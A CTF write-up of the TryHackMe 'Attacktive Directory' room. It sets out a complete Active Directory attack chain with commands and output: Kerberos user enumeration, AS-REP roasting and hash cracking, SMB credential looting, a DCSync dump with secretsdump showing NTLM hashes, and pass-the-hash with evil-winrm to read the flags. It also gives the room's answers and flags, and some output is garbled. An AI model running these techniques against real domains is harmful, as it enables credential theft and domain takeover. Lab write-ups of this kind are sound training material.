# ATTACKTIVE DIRECTORY | THM WRITEUPS | BY JO3HUNT3R

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#### **Room Overview**

Attacktive Directory is an intermediate-level TryHackMe room that focuses on **Active Directory penetration testing**. The room provides a hands-on approach to understanding and exploiting common vulnerabilities in Windows Active Directory environments, which are prevalent in corporate networks worldwide.

# **Learning Objectives**

This room is designed to teach participants:

- Active Directory fundamentals and key components
- Enumeration techniques for AD environments
- Kerberos-based attacks including AS-REP Roasting
- SMB share enumeration and analysis
- Credential dumping methods including secretsdump
- Lateral movement and privilege escalation in AD
- Pass-the-Hash attacks for authentication bypass

# **Key Concepts Covered**

- Kerbrute: Tool for Kerberos-based user enumeration
- Impacket Suite: Python tools for network protocols and AD exploitation
- Hash Cracking: Using tools like John the Ripper or Hashcat
- DCSync Attacks: Extracting password hashes from Domain Controllers
- Evil-WinRM: Windows Remote Management for post-exploitation
- NTLM Hashes: Understanding and exploiting Windows authentication hashes

#### Scenario

The room presents a realistic corporate environment with a vulnerable Active Directory setup. Participants start with zero knowledge about the domain and progressively work through the attack chain from initial enumeration to full domain compromise, ultimately obtaining flags from multiple user accounts.

## **Importance**

Active Directory is used by over 90% of Fortune 500 companies, making these attack techniques highly relevant for both red teamers and blue team defenders. Understanding these methodologies is crucial for modern network security assessments and defense strategies.

# **Prerequisites**

- · Basic knowledge of Windows systems
- · Familiarity with command-line tools
- Understanding of basic networking concepts
- Experience with common penetration testing tools

#### **Task 01: Enumeration**

**Initial Nmap Scanning** 

Basic enumeration begins with an Nmap scan, a sophisticated utility refined over years to detect open ports, running services, and operating systems. However, Nmap has limitations - it cannot fully enumerate all services or detect everything accurately. Therefore, after initial Nmap scanning, additional specialized tools are required for comprehensive service enumeration.

```
# Command Used nmap -p 88,135,139,389,445 -sV -sC -iL 10.10.218.39

Nmap scan report for 10.10.105.208

Host is up (0.36s latency).
```

#### PORT STATE SERVICE VERSION

88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-10-07 16:46:53Z)

135/tcp open msrpc Microsoft Windows RPC

[139/tcp open netbios-ssn Microsoft Windows netbios-ssn]

389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain:

spookysec.local0., Site: Default-First-Site-Name)

445/tcp open microsoft-ds?

Service Info: Host: ATTACKTIVEDIREC; OS: Windows; CPE: cpe:/o:microsoft:windows

Also the enum4linux tool used for enumeration,

```
enum4linux-ng -A 10.10.218.39 -oA dresults.txt
```

#### **Answers to Task Questions**

1. What tool will allow us to enumerate port 139/445?

Answer: enum4linux

2. What is the NetBIOS-Domain Name of the machine?

NetBIOS Names and Workgroup/Domain for 10.10.218.39

```
[*] Enumerating via unauthenticated SMB session on 445/tcp
   [+] Found domain information via SMB
   NetBIOS computer name: ATTACKTIVEDIREC
   NetBIOS domain name: THM-AD
   DNS domain: spookysec.local
  Answer: THM-AD
 3. What invalid TLD do people commonly use for their Active Directory Domain?
   _____
  | Domain Information via LDAP for 10.10.218.39 |
   [*] Trying LDAP
  [+] Appears to be root/parent DC
  [+] Long domain name is: spookysec.local
  Answer: .local
Task 02: Enumerating Users via Kerberos
Kerbrute User Enumeration Results
Command Used:
./kerbrute userenum -d spookysec.local --dc 10.10.218.39 userlists.txt
// ///| // /.// ,/ /
Version: v1.0.3 (9dad6e1) - 10/07/25 - Ronnie Flathers @ropnop
2025/10/07 20:13:54 > Using KDC(s):
2025/10/07 20:13:54 > 10.10.105.208:88
2025/10/07 20:13:56 > [+] VALID USERNAME: james@spookysec.local
2025/10/07 20:14:22 > [+] VALID USERNAME: svc-admin@spookysec.local
2025/10/07 20:14:33 > [+] VALID USERNAME: James@spookysec.local
2025/10/07 20:14:42 > [+] VALID USERNAME: robin@spookysec.local
2025/10/07 20:15:51 > [+] VALID USERNAME: darkstar@spookysec.local
2025/10/07 20:16:33 > [+] VALID USERNAME: administrator@spookysec.local
2025/10/07 20:18:16 > [+] VALID USERNAME: backup@spookysec.local
2025/10/07 20:18:52 > [+] VALID USERNAME: paradox@spookysec.local
2025/10/07 20:21:14 > [+] VALID USERNAME: JAMES@spookysec.local
2025/10/07 20:22:15 > [+] VALID USERNAME: Robin@spookysec.local
2025/10/07 20:28:27 > [+] VALID USERNAME: Administrator@spookysec.local
2025/10/07 20:39:35 > [+] VALID USERNAME: Darkstar@spookysec.local
2025/10/07 20:42:50 > [+] VALID USERNAME: Paradox@spookysec.local
2025/10/07 20:52:48 > [+] VALID USERNAME: DARKSTAR@spookysec.local
2025/10/07 20:57:05 > [+] VALID USERNAME: ori@spookysec.local
```

```
2025/10/07 21:04:36 > [+] VALID USERNAME: ROBIN@spookysec.local 2025/10/07 21:17:15 > Done! Tested 73317 usernames (16 valid) in 3801.309 seconds
```

#### **Answers to Task Questions:**

1. What command within Kerbrute will allow us to enumerate valid usernames?

Answer: userenum

2. What notable account is discovered? (These should jump out at you)

Answer: **svc-admin** 

3. What is the other notable account is discovered? (These should jump out at you)

Answer: backup

### Task 03: Exploitation - Abusing Kerberos (AS-REP Roasting)

AS-REP Roasting Attack Results

Command used:

```
[root@parrot]-[/home/jw/Desktop/ACTIVE DIRECTORY/THM]
```

#python3 /usr/share/doc/python3-impacket/examples/GetNPUsers.py

spookysec.local/ -no-pass -usersfile valid\_users.txt -dc-ip 10.10.218.39 -outputfile
hashes.txt

Impacket v0.11.0 - Copyright 2023 Fortra

```
[root@parrot]-[/home/jw/Desktop/ACTIVE DIRECTORY/THM]
```

#john --wordlist=passwdlists.txt --format=krb5asrep hashes.txt

Using default input encoding: UTF-8

Loaded 1 password hash (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5

RC4 / PBKDF2 HMAC-SHA1 AES 256/256 AVX2 8x])

Will run 4 OpenMP threads

Press 'q' or Ctrl-C to abort, almost any other key for status

management2005 (\$krb5asrep23svc-admin@SP00KYSEC.LOCAL)

lg 0:00:00:00 DONE (2025-10-07 20:45) 1.724g/s 12358p/s 12358c/s 12358C/s

horoscope..frida

Use the "--show" option to display all of the cracked passwords reliably

Session completed.

[root@parrot]-[/home/jw/Desktop/ACTIVE DIRECTORY/THM]

#john --show hashes.txt

[\$krb5asrep]23[svc-admin@SPOOKYSEC.LOCAL:management2005]

[1 password hash cracked, 0 left]

#### **Answers to Task Questions:**

1. We have two user accounts that we could potentially query a ticket from. Which user account can you query a ticket from with no password?

Answer: svc-admin

2. Looking at the Hashcat Examples Wiki page, what type of Kerberos hash did we retrieve from the KDC? (Specify the full name)

Answer: Kerberos 5 AS-REP etype 23

3. What mode is the hash?

Answer: **18200** 

4. Now crack the hash with the modified password list provided, what is the user accounts password?

Answer: management2005

#### Task 04: Enumeration - Back to Basics

**SMB Share Enumeration Results** 

Commands Used:

```
[root@parrot]-[/home/jw/Desktop/ACTIVE DIRECTORY/THM]]
```

#smbclient -L 10.10.105.208 -U svc-admin

Password for [WORKGROUP\svc-admin]:

Sharename	Туре	Comment
ADMIN\$	Disk	Remote Admin
backup	Disk	
C\$	Disk	Default share
IPC\$	IPC	Remote IPC
NETLOGON	Disk	Logon server share
SYSV0L	Disk	Logon server share

```
Reconnecting with SMB1 for workgroup listing.
```

do\_connect: Connection to 10.10.105.208 failed (Error

NT STATUS RESOURCE NAME NOT FOUND)

Unable to connect with SMB1 -- no workgroup available

[root@parrot]-[/home/jw/Desktop/ACTIVE DIRECTORY/THM]

#smbclient [//10.10.218.39/backup](//10.10.218.39/backup) -U svc-admin

Password for [WORKGROUP\svc-admin]:

Try "help" to get a list of possible commands.

smb: > ls

. D 0 Sat Apr 4 22:08:39 2020

.. D 0 Sat Apr 4 22:08:39 2020

backup\_credentials.txt A 48 Sat Apr 4 22:08:53 2020

```
8247551 blocks of size 4096. 3584600 blocks available
```

```
smb: > get backup credentials.txt
```

getting file \backup credentials.txt of size 48 as backup credentials.txt (0.0

KiloBytes/sec) (average 0.0 KiloBytes/sec)

smb: > exit

[root@parrot]-[/home/jw/Desktop/ACTIVE DIRECTORY/THM]

```
- #ls
backup credentials.txt hosts.txt results.txt.yaml
CrackMapExec kerbrute story.txt
dhosts.txt Mouse and Malware.txt userlists.txt
dresults.txt.json passwdlists.txt users.txt
dresults.txt.yaml queryuser user.txt
flag.txt queryusergroups valid users.txt
hashes.txt results.txt.json
[root@parrot]-[/home/jw/Desktop/ACTIVE DIRECTORY/THM]
#cat backup_credentials.txt
YmFja3VwQHNwb29reXNlYy5sb2NhbDpiYWNrdXAyNTE30DYw [root@parrot]-[/home/jw/Desktop/AC
TIVE DIRECTORY/THM]
#echo "YmFja3VwQHNwb29reXNlYy5sb2NhbDpiYWNrdXAyNTE30DYw" | base64 -d
backup@spookysec.local:backup2517860
Answers to Task Questions:
1. What utility can we use to map remote SMB shares?
Answer: smbclient
2. Which option will list shares?
Answer: -L
3. How many remote shares is the server listing?
Answer: 6
4. There is one particular share that we have access to that contains a text file. Which share is it?
Answer: backup
5. What is the content of the file?
Answer: YmFja3VwQHNwb29reXNIYy5sb2NhbDpiYWNrdXAyNTE3ODYw
6. Decoding the contents of the file, what is the full contents?
Answer: backup@spookysec.local:backup2517860
Task 05: Domain Privilege Escalation
DCSync Attack Results
Command Used:
[root@parrot]-[/home/jw/Desktop/ACTIVE DIRECTORY/THM]
#python3 /usr/share/doc/python3-impacket/examples/secretsdump.py
spookysec.local/backup:backup2517860@10.10.218.39
Impacket v0.11.0 - Copyright 2023 Fortra
[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc s access denied
[] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)[] Using the DRSUAPI
method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:0e0363213e37b94221497260b0bcb4fc:
::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:0e2eb8158c27bed09861033026be4c21:::
```

```
spookysec.local\skidy:1103:aad3b435b51404eeaad3b435b51404ee:5fe9353d4b96cc410b62cb7e
11c57ba4:::
spookysec.local\breakerofthings:1104:aad3b435b51404eeaad3b435b51404ee:5fe9353d4b96cc
410b62cb7e11c57ba4:::
spookysec.local\james:1105:aad3b435b51404eeaad3b435b51404ee:9448bf6aba63d154eb0c6650
71067b6b:::
spookysec.local\optional:1106:aad3b435b51404eeaad3b435b51404ee:436007d1c1550eaf41803
f1272656c9e:::
spookysec.local\sherlocksec:1107:aad3b435b51404eeaad3b435b51404ee:b09d48380e99e99654
16f0d7096b703b:::
spookysec.local\darkstar:1108:aad3b435b51404eeaad3b435b51404ee:cfd70af882d53d758a161
2af78a646b7:::
spookysec.local\0ri:1109:aad3b435b51404eeaad3b435b51404ee:c930ba49f999305d9c00a87454
33d62a:::
spookysec.local\robin:1110:aad3b435b51404eeaad3b435b51404ee:642744a46b9d4f6dff8942d2
3626e5bb:::
spookysec.local\paradox:1111:aad3b435b51404eeaad3b435b51404ee:048052193cfa6ea46b5a30
2319c0cff2:::
spookysec.local\Muirland:1112:aad3b435b51404eeaad3b435b51404ee:3db8b1419ae75a418b3aa
12b8c0fb705:::
spookysec.local\horshark:1113:aad3b435b51404eeaad3b435b51404ee:41317db6bd1fb8c21c2fd
2b675238664:::
spookysec.local\svc-
admin:1114:aad3b435b51404eeaad3b435b51404ee:fc0f1e5359e372aa1f69147375ba6809:::
spookysec.local\backup:1118:aad3b435b51404eeaad3b435b51404ee:19741bde08e135f4b40f1ca
9aab45538:::
spookysec.local\a-
spooks:1601:aad3b435b51404eeaad3b435b51404ee:0e0363213e37b94221497260b0bcb4fc:::
ATTACKTIVEDIREC KaTeX parse error: Undefined control sequence: \skidy at position 530: ...
spookysec.local\skidy:aes256-cts-hma...:aes256-cts-hmac-sha1-
96:62eb8ab54410f158921d383ba4107a9be479a95a303d6ed2abc09954611081af
ATTACKTIVEDIREC: aes128 - cts - hmac - sha1 - 96:
48574154de8b17b97202019a1228a0acATTACKTIVEDIREC : des-cbc-
md5:9426b6febf6dc2ab
```

## **Answers to Task Questions:**

[\*] Cleaning up...

1. What method allowed us to dump NTDS.DIT?

Answer: **DRSUAPI** 

2. What is the Administrators NTLM hash?

Answer: 0e0363213e37b94221497260b0bcb4fc

- 3. What method of attack could allow us to authenticate as the user without the password?

  Answer: Pass the Hash (PtH)
- 4. Using a tool called Evil-WinRM what option will allow us to use a hash?

  Answer: -H

#### **Task 06: Flag Submission**

Flags Collected from User Desktops

Commands Used:

[root@parrot]-[/home/jw/Desktop/ACTIVE DIRECTORY/THM]

#evil-winrm -i 10.10.218.39 -u Administrator -H

0e0363213e37b94221497260b0bcb4fc

Evil-WinRM shell v3.7

Warning: Remote path completions is disabled due to ruby limitation: quoting detection proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM GitHub:

https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint

Evil-WinRM PS C:\Users\Administrator\Documents> cd ..

Evil-WinRM PS C:\Users\Administrator> ls

Evil-WinRM PS C:\Users\Administrator> cd Desktop

Evil-WinRM PS C:\Users\Administrator\Desktop> ls

Directory: C:\Users\Administrator\Desktop

Mode LastWriteTime Length Name

-a---- 4/4/2020 11:39 AM 32 root.txt

Evil-WinRM PS C:\Users\Administrator\Desktop> cat root.txt

TryHackMe{4ctiveD1rectoryM4st3r}

Evil-WinRM PS C:\Users\Administrator\Desktop> cd ..

Evil-WinRM PS C:\Users\Administrator> cd ..

Evil-WinRM PS C:\Users> cd svc-admin

Evil-WinRM PS C:\Users\svc-admin> ls

Evil-WinRM PS C:\Users\svc-admin> cd Desktop

Evil-WinRM PS C:\Users\svc-admin\Desktop> ls

Directory: C:\Users\svc-admin\Desktop

Mode LastWriteTime Length Name

```
-a---- 4/4/2020 12:18 PM 28 user.txt.txt
```

Evil-WinRM PS C:\Users\svc-admin\Desktop> cat user.txt.txt

TryHackMe{K3rb3r0s Pr3 4uth}

Evil-WinRM PS C:\Users\svc-admin\Desktop> cd ..

Evil-WinRM PS C:\Users\svc-admin> cd ..

Evil-WinRM PS C:\Users> cd backup

Evil-WinRM PS C:\Users\backup> cd Desktop

Evil-WinRM PS C:\Users\backup\Desktop> ls

### Directory: C:\Users\backup\Desktop

Mode LastWriteTime Length Name

-a---- 4/4/2020 12:19 PM 26 PrivEsc.txt

Evil-WinRM PS C:\Users\backup\Desktop> cat PrivEsc.txt

TryHackMe{B4ckM3UpSc0tty!}

Evil-WinRM PS C:\Users\backup\Desktop>

# **Flags Found:**

## 1. svc-admin Flag:

**Location:** C:\Users\svc-admin\Desktop\user.txt.txt

Flag: TryHackMe{K3rb3r0s Pr3 4uth}

#### 2. backup Flag:

**Location:** C:\Users\backup\Desktop\PrivEsc.txt

Flag: TryHackMe{B4ckM3UpSc0tty!}

#### 3. Administrator Flag:

**Location**: C:\Users\Administrator\Desktop\root.txt

Flag: TryHackMe{4ctiveD1rectoryM4st3r}